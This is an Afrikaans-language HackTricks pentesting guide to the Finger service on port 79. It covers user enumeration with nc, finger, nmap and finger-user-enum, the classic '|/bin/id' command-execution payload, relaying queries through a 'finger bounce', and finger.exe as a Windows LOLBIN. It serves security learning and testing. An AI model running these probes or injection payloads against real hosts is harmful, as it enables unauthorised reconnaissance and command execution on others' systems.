79 - Pentesting Finger

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Die Finger program/diens word gebruik om besonderhede oor rekenaargebruikers te verkry. Tipies sluit die verskafde inligting die gebruiker se aanmeldnaam, volle naam in, en in sommige gevalle addisionele besonderhede. Hierdie ekstra besonderhede kan die kantoorplek en telefoonnommer (indien beskikbaar), die tyd wat die gebruiker aangemeld het, die onaktiwiteitsperiode (idle time), die laaste keer dat die gebruiker mail gelees het, en die inhoud van die gebruiker se .plan en .project lêers insluit.

Vanuit ’n pentesting-perspektief is Finger steeds interessant omdat die protokol uiters klein, mensleesbaar, en dikwels met legacy parsing logic geïmplementeer is. ’n daemon kan openbaar maak:

  • tans aangemelde gebruikers
  • volle name / GECOS data
  • tuismappe, shells, laaste aanmeldtye, en TTYs
  • .plan / .project inhoud
  • relay gedrag om ’n tweede host deur die eerste te bevraagteken

Standaard poort: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Die protokol is ASCII over TCP/79, normaalweg beëindig met CRLF, en die server sluit die TCP-verbinding na die antwoord. In die praktyk is ’n null query (\r\n) dikwels genoeg om die huidige gebruikerslys te kry, wat ook is wat Nmap’s default finger NSE script doen.

User enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Alternatiewelik kan jy finger-user-enum van pentestmonkey gebruik, sommige voorbeelde:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Die belangrike nuansie met Finger enumeration is dat daar oor daemons geen vaste responsformaat bestaan nie. Gereedskap soos finger-user-enum werk goed teen Solaris-styl dienste omdat geldige en ongeldige gebruikers verskillende teksindelings produseer, maar jy sal moontlik die positiewe en negatiewe antwoorde handmatig moet vergelyk en die regexes aanpas as die teiken-daemon ongewoon is.

Nuttige probes wanneer die daemon nie soos standaard Solaris/BSD optree nie:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap voer ’n skrip uit deur standaard-skripte te gebruik

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Nmap’s finger NSE script is veilig en stuur eenvoudig ’n null query om die huidige gebruikerslys te herwin. As jy wyer gebruikersnaam-raai teen permissiewe daemons wil doen, oorweeg om die benadering uit te brei met pasgemaakte woordlyste of deur projekte soos fat-finger.nse te gebruik, wat verskeie waarskynlike rekeningsname in een versoek stuur en soek na gebruikersnaam/GECOS-ooreenkomste.

Metasploit gebruik meer truuks as Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Uitvoering van opdragte

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

RFC 1288 laat uitdruklik toe dat implementasies ’n deur gebruiker beheerde program kan uitvoer as reaksie op ’n Finger-navraag, wat die bron is van die klassieke |/bin/... misbruik. Dit is vandag skaars, maar as jy ’n pasgemaakte of legacy daemon vind, toets dit noukeurig vir:

  • shell metakarakters in gebruikersnaamhantering
  • |program uitvoering in plan/project hooks
  • backend wrappers wat die gebruikersnaam aan ’n shell-skrip of CGI deurgee

Onthou ook die client-side misbruikpad op Windows: finger.exe is ’n gesigneerde LOLBIN wat willekeurige teks van ’n afgeleë Finger-bediener op TCP/79 kan haal, en daardie uitvoer dan in ’n ander proses kan pipe. Daardie tegniek is meer relevant vir post-exploitation as vir diens-enumerasie, sien the Linux reverse-shell page vir die shell-transport-idee en hou dit in gedagte wanneer jy aanvallerse tradecraft naboots.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Dit is nie net ’n implementasie-eienaardigheid nie: RFC 1288 definieer rekursiewe @hostname deurstuur ({Q2} navrae). As die daemon relaying ondersteun, open die tussenliggende bediener die tweede Finger-verbinding vir jou en stuur die respons terug oor die oorspronklike socket. Dit beteken:

  • jou host mag nie direk aan die finale teiken verbind nie
  • die relay kan gebruik word om enumerate internal users uit ’n blootgestelde Finger service
  • finger-user-enum ondersteun dit ingebou met -r <relay>

Voorbeeld:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

As relaying werk, gebruik dit as an internal recon primitive en vergelyk die relayed output met die publieke daemon se direkte output. Verskillende formatering of filtrasie openbaar dikwels of die relay path deur ’n aparte backend of wrapper hanteer word.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks